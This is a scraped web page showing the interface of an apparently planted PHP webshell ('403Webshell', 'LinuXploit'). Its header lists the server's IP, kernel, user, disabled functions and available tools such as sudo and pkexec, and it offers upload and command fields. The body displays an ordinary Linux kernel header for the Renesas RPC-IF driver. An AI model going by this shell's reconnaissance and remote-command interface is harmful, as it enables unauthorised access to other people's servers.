403Webshell
Server IP : 104.21.38.3  /  Your IP : 104.23.175.189
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/linux-headers-5.15.0-142/include/memory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-5.15.0-142/include/memory/renesas-rpc-if.h
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Renesas RPC-IF core driver
 *
 * Copyright (C) 2018~2019 Renesas Solutions Corp.
 * Copyright (C) 2019 Macronix International Co., Ltd.
 * Copyright (C) 2019-2020 Cogent Embedded, Inc.
 */

#ifndef __RENESAS_RPC_IF_H
#define __RENESAS_RPC_IF_H

#include <linux/pm_runtime.h>
#include <linux/types.h>

enum rpcif_data_dir {
	RPCIF_NO_DATA,
	RPCIF_DATA_IN,
	RPCIF_DATA_OUT,
};

struct rpcif_op {
	struct {
		u8 buswidth;
		u8 opcode;
		bool ddr;
	} cmd, ocmd;

	struct {
		u8 nbytes;
		u8 buswidth;
		bool ddr;
		u64 val;
	} addr;

	struct {
		u8 ncycles;
		u8 buswidth;
	} dummy;

	struct {
		u8 nbytes;
		u8 buswidth;
		bool ddr;
		u32 val;
	} option;

	struct {
		u8 buswidth;
		unsigned int nbytes;
		enum rpcif_data_dir dir;
		bool ddr;
		union {
			void *in;
			const void *out;
		} buf;
	} data;
};

struct rpcif {
	struct device *dev;
	void __iomem *base;
	void __iomem *dirmap;
	struct regmap *regmap;
	struct reset_control *rstc;
	size_t size;
	enum rpcif_data_dir dir;
	u8 bus_size;
	u8 xfer_size;
	void *buffer;
	u32 xferlen;
	u32 smcr;
	u32 smadr;
	u32 command;		/* DRCMR or SMCMR */
	u32 option;		/* DROPR or SMOPR */
	u32 enable;		/* DRENR or SMENR */
	u32 dummy;		/* DRDMCR or SMDMCR */
	u32 ddr;		/* DRDRENR or SMDRENR */
};

int rpcif_sw_init(struct rpcif *rpc, struct device *dev);
void rpcif_hw_init(struct rpcif *rpc, bool hyperflash);
void rpcif_prepare(struct rpcif *rpc, const struct rpcif_op *op, u64 *offs,
		   size_t *len);
int rpcif_manual_xfer(struct rpcif *rpc);
ssize_t rpcif_dirmap_read(struct rpcif *rpc, u64 offs, size_t len, void *buf);

static inline void rpcif_enable_rpm(struct rpcif *rpc)
{
	pm_runtime_enable(rpc->dev);
}

static inline void rpcif_disable_rpm(struct rpcif *rpc)
{
	pm_runtime_disable(rpc->dev);
}

#endif // __RENESAS_RPC_IF_H

Youez - 2016 - github.com/yon3zu
LinuXploit